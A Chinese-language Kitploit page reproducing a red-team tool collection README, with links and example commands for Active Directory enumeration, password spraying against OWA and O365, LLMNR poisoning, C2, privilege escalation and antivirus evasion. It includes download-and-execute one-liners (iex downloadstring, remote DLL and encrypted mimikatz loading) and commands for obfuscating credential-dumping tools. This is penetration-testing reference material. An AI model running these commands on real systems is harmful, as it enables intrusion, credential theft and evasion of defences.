Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Pentest-Tools-Collection — 精选的攻击性安全工具与命令集合，涵盖 Active Directory 攻击、C2、权限提升、混淆以及 Web 渗透测试。 | Kitploit
工具/GitHubGitHub/luemmelsec/pentest-tools-collection
权限提升漏洞利用IDS/IPS规避信息收集后渗透利用渗透测试命令与控制红队精选资源Payload 开发
GitHubluemmelsec/pentest-tools-collection

Pentest-Tools-Collection

90614631个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

精选的攻击性安全工具与命令集合，涵盖 Active Directory 攻击、C2、权限提升、混淆以及 Web 渗透测试。

查看仓库

Pentest-Tools-Collection

Active Directory

AMSI

https://amsi.fail/

Tool Collections

WinPwn

https://github.com/S3cur3Th1sSh1t/WinPwn

Import-Module .\WinPwn.ps1

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')

Ghostpack

https://github.com/GhostPack

Seatbelt、KeeThief、Rubeus、SharpUp ...

Powersploit

https://github.com/PowerShellMafia/PowerSploit

PowerView、PowerUp、Get-GPPPassword ...

Enumeration

Bloodhound

https://github.com/BloodHoundAD/BloodHound

SharpHound.exe -d testdomain.com -c all,gpolocalgroup

Sharphound.ps1 -d testdomain.com -c all,gpolocalgroup

https://github.com/fox-it/BloodHound.py

bloodhound.py -c all

ADRecon

https://github.com/adrecon/ADRecon

在域成员主机上运行 ADRecon。
PS C:\> .\ADRecon.ps1

以其他用户身份在域成员主机上运行 ADRecon。
PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>

在非成员主机上使用 LDAP 运行 ADRecon。
PS C:\>.\ADRecon.ps1 -Method LDAP -DomainController <IP or FQDN> -Credential <domain\username>

Spraying-Toolkit

https://github.com/byt3bl33d3r/SprayingToolkit

Lync/Skype 和 OWA 喷洒工具、字典生成器、命名方案转换器等。

喷洒 OWA
./atomizer.py owa contoso.com 'Fall2018' emails.txt

喷洒 Lync
./atomizer lync contoso.com --user-as-pass usernames.txt

侦察模式
./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon

MailSniper

https://github.com/dafthack/MailSniper

攻击 OWA 和 EWS
命名方案应类似 testdomain.com\schmidta 或 aschmidt -> 使用 msf 模块检查方案

Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile owa-sprayed-creds.txt

Get-ADUsernameFromEWS -EmailList email-list.txt

Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt

msspray

https://github.com/0xZDH/msspray

O365 枚举和喷洒工具

仅枚举用户而不进行喷洒。需要一个包含完整邮件地址（[email protected]）的文本文件
python3 msspray.py -e -u textfile.txt --wait 10 --verbose

MSOLSpray

https://github.com/dafthack/MSOLSpray

O365 喷洒工具

Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020

ExchangeRelayX

https://github.com/quickbreach/ExchangeRelayX

通过 HTTP 上的 NTLM 身份验证攻击 EWS。

./exchangeRelayx.py -t https://mail.quickbreach.com

SharpView

https://github.com/tevora-threat/SharpView

PowerView 的 .NET 移植版本

SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential [email protected]/password

CrossLinked

https://github.com/m8r0wn/CrossLinked

收集邮件地址 / 用户名

python3 crosslinked.py -f '{first}.{last}@domain.com' company_name

Post Exploitation

impacket

https://github.com/SecureAuthCorp/impacket

Crackmapexec

https://github.com/byt3bl33d3r/CrackMapExec

官方文档：https://mpgn.gitbook.io/crackmapexec/

SharpGPOAbuse

https://github.com/FSecureLABS/SharpGPOAbuse

EvilWinRM

https://github.com/mrnamp/EvilWinRM

一个从 Linux 机器与 Microsoft 的 WS-Management 实现（即 PowerShell-Remoting）进行交互的工具。
也可以使用哈希代替密码进行连接。

ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'

ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -H B3D7E7E1516FFBFCB1C54A4C349BC099

之后还可以直接在内存中执行 C#、DLL 或 donut shellcode。
可执行文件必须位于 -e 参数设置的路径中。

Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'

Dll-loader -http -path http://10.11.12.13/evil.dll

Donut-Loader -process_id 1234 -donutfile /use/share/payload.bin

还可以绕过 AMSI、获取 Kerberos 票据等等 ...

SharpRDP

https://github.com/rasta-mouse/SharpRDP

通过 RDP 执行内容。如果未启用多 RDP，用户将收到通知！

SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password

Inveigh

https://github.com/Kevin-Robertson/Inveigh

PowerShell ADIDNS/LLMNR/mDNS/NBNS/DNS 欺骗和中间人攻击工具

Import-Module Inveigh.psm1

Invoke-Inveigh -Consoleoutput Y

Responder

https://github.com/lgandx/Responder

LLMNR/NBT-NS/mDNS 投毒器

./Responder.py -I eth0

C2

Covenant

https://github.com/cobbr/Covenant

PS-Empire

https://github.com/BC-SECURITY/Empire

PrivEsc

WinPEAS / LinPEAS

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

SecWiki

https://github.com/SecWiki

Linux 和 Windows 的漏洞利用程序

PowerShDll

https://github.com/p3nt4/PowerShdll

没有 PowerShell 的 PowerShell

rundll32 PowerShdll,main -w

PowerUpSQL

https://github.com/NetSPI/PowerUpSQL

UACME

https://github.com/hfiref0x/UACME

Watson

https://github.com/rasta-mouse/Watson

PrivescCheck

https://github.com/itm4n/PrivescCheck

Obfuscation

PEzor

https://github.com/phra/PEzor

混淆 C / C++ 二进制文件

新模块 -> ShellCode 波动（fluctuation）：

PEzor -fluctuate=RW -debug mimikatz.exe -p '"coffee" "sleep 5000" "coffee" "exit"'

参见 https://twitter.com/phraaaaaaa/status/1453389564383404032?t=wcB-3NlNh9725L9_zRjdHg

Donut Syscall fork

https://github.com/S4ntiagoP/donut/tree/syscalls

带 syscalls 的 Donut shellcode / PE 生成器分支

amber

https://github.com/EgeBalci/amber

混淆 C / C++ 二进制文件

Invoke-Obfuscation

https://github.com/danielbohannon/Invoke-Obfuscation

PowerShell 脚本混淆器。

xencrypt / BetterXencrypt

https://github.com/the-xentropy/xencrypt / https://github.com/GetRektBoy724/BetterXencrypt

AQUARMOURY (in special wraith)

https://github.com/slaeryan/AQUARMOURY

用于绕过 AV/EDR 等工具集

root@kitploit:~
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100

PowerShell 脚本混淆器和加密器。

ISESteroids

https://www.powershellgallery.com/packages/ISESteroids/2.7.1.7

PowerShell ISE 工具集。支持混淆功能。

PS2EXE

https://gallery.technet.microsoft.com/scriptcenter/PS2EXE-GUI-Convert-e7cb69d5

将 PS1 转换为 EXE 文件。

Invoke-Sharploader

https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader

一个 C# 二进制的包装器，可加密 payload 并在内存中解密。

加密二进制文件：

Invoke-SharpEncrypt -file C:\CSharpFiles\SafetyKatz.exe -password S3cur3Th1sSh1t -outfile C:\CSharpEncrypted\SafetyKatz.enc

从 URL 加载加密的二进制文件：

Invoke-SharpLoader -location https://raw.githubusercontent.com/S3cur3Th1sSh1t/Invoke-SharpLoader/master/EncryptedCSharp/SafetyKatz.enc -password S3cur3Th1sSh1t -noArgs

从磁盘加载加密的二进制文件并携带命令行参数：

Invoke-SharpLoader -location C:\EncryptedCSharp\Rubeus.enc -password S3cur3Th1sSh1t -argument kerberoast -argument2 "/format:hashcat"

inceptor

https://github.com/klezVirus/inceptor

C# 和 PowerShell 混淆器

Chimera

https://github.com/tokyoneon/Chimera

PowerShell 脚本混淆器

InvisibilityCloak

https://github.com/xforcered/InvisibilityCloak

C# 程序集混淆器

ConfuserEx

https://github.com/yck1509/ConfuserEx

C# 程序集混淆器

Charlotte

https://github.com/9emin1/charlotte

通过 D-Invoke 实现的 Shellcode 加载器

AVCleaner

https://github.com/lleon1435/avcleaner

C/C++ 源码混淆器

Misc

SharpSploit: https://github.com/cobbr/SharpSploit
ZeroLogon-Tester: https://github.com/BC-SECURITY/Invoke-ZeroLogon / https://github.com/SecuraBV/CVE-2020-1472
Ligolo: https://github.com/sysdream/ligolo
Metasploit: https://github.com/rapid7/metasploit-framework
Socat: https://github.com/craSH/socat
ThreatCheck: https://github.com/rasta-mouse/ThreatCheck
evilginx2: https://github.com/kgretzky/evilginx2
O365 Enum: https://github.com/gremwell/o365enum
O365 spray: https://github.com/0xZDH/o365spray

Web

JSFScan: https://github.com/KathanP19/JSFScan.sh

下载工具